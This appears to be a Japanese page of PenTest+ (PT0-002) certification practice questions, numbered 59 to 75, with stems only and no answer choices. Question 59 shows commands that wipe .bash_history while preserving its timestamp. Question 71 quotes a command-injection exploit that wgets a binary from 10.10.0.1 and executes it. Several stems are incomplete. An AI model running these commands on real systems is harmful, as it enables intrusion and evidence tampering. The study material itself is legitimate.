カテゴリー PT0-002

NO.59 侵入テスト者はシステムにアクセスし、永続性を確立した後、以下のコマンドを実行する：
cat /dev/null > temp
touch -r .bash_history temp
mv temp .bash_history
テスターが行っている可能性が最も高いのは、次のどの作業ですか？

NO.60 ある侵入テスト実施者は、顧客との契約に先立ち、以下のSOWを検討している：
「ネットワーク図、論理的及び物理的な資産目録、従業員の氏名は、顧客の機密として扱われる。業務が完了したら、侵入テスト実施者は調査結果を暗号化されたプロトコルを介してクライアントの最高情報セキュリティ責任者（CISO）に提出し、その後、安全な方法で調査結果をすべて消去して廃棄すること。SOWの情報に基づくと、次の行動のうちどれが非倫理的と考えられますか？
(2つ選んでください)

NO.61 ある企業は、クラウド・サービス・プロバイダーが、自社のソフトウェア開発を格納するVMを適切に保護していないことを懸念している。VMは、物理リソースを共有する他の企業とともにデータセンターに収容されています。次の攻撃タイプのうち、同社が最も懸念しているのはどれですか？

NO.62 ある侵入テスト実施者は、SSHDが動作しているLinuxサーバ上で実行を得るために活用できるCVEを特定したいと考えています。このタスクを最もよくサポートするのはどれか。

NO.63 次のような出力がある：
ユーザーエージェント
許可しない/author/
許可しない/xmlrpc.php
許可しない/wp-admin
不許可/page/
このアウトプットは、以下のどの活動中に得られた可能性が最も高いですか？

NO.64 侵入テスト実施者は、ターゲットとFTPプロトコルを持つサーバーの間にオンパス攻撃としてワークステーションを配置することで、FTP認証情報を取得したいと考えている。この目的を達成するための最良の方法はどれか。

NO.65 あるペネトレーション・テスターが顧客の重要なサーバーに対して脆弱性スキャンを実施したところ、以下のことが判明した：

次のうち、改善策として推奨されるのはどれか？

NO.66 ある企業が、クラウド・サービス・プロバイダーから脆弱性スキャンの許可を得て、ホスティングされているデータのセキュリティをテストしたいと考えている。
このリスクを評価するために、テスターが最初に検証すべきはどれか。

NO.67 ある侵入テスト実施者が、ある企業のクラウド環境にユーザーとしてログインします。次のPacuモジュールのうち、テスト者が既存ユーザーのアクセスレベルを判断できるものはどれですか。

NO.68 ある侵入テスト実施者は、Linuxベースのファイルサーバーへのルートアクセスを取得し、再起動後も永続性を維持したいと考えています。この目的を最もよくサポートする技術はどれか。

NO.69 ある侵入テスト実施者が、無線セキュリティのレビューを請け負った。このテスト者は、ターゲットとなる企業のWiFiの設定を模倣した悪意のあるワイヤレスAPを配備した。侵入テスト者は今、近くの無線ステーションを悪意のあるAPに強制的に接続させたいと考えています。テスト者が次に取るべき手順はどれか。

70位 ある侵入テスト実施者は、顧客との契約に先立ち、以下のSOWを検討している：
「ネットワーク図、論理的及び物理的な資産目録、従業員の氏名は、顧客の機密として扱われる。業務完了後、侵入テスト実施者は、調査結果を暗号化されたプロトコルを介してクライアントの最高情報セキュリティ責任者（CISO）に提出し、その後、調査結果を安全な方法で消去することにより、すべての調査結果を廃棄する。"
SOWの情報に基づき、非倫理的と考えられる行動は次のうちどれでしょうか？(2つ選んでください）。

NO.71 あるペネトレーション・テスターが、あるエクスプロイトを使ってシステムにアクセスすることができた。以下は、利用されたコードのスニペットである：
exploit = "POST "
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”
exploit += "HTTP/1.1"
ペネトレーション・テスターがエンゲージメント後に実行すべきコマンドはどれか。

NO.72 あなたは侵入テスト担当者で、サーバーのポートスキャンを実行している。
インストラクション
パート1：出力が与えられたら、利用可能なオプションから、この出力を生成するために使用されたコマンドを構築する。
パート2：コマンドが適切に構築されたら、与えられた出力を使用して、さらに調査すべき潜在的な攻撃ベクトルを特定する。
シミュレーションの初期状態に戻したい場合は、Reset Allボタンをクリックしてください。

NO.73 ある侵入テスト実施者が、Windowsサーバー上で以下のコマンドを実行した：

最終報告書を提出した後に、テスターがすべきことは次のうちどれでしょうか？

NO.74 ある侵入テスト実施者は、192.168.1.0/24の範囲にある一連のターゲットを攻撃し、できるだけアラームや対策を発動させないようにする任務を与えられている。
次のNmapスキャン構文のうち、この目的を達成するのに最も適しているものはどれか。

NO.75 Webアプリケーションのテストを実施している侵入テスト実施者が、金融データaへのログインページに関連するクリックジャッキングの脆弱性を発見した。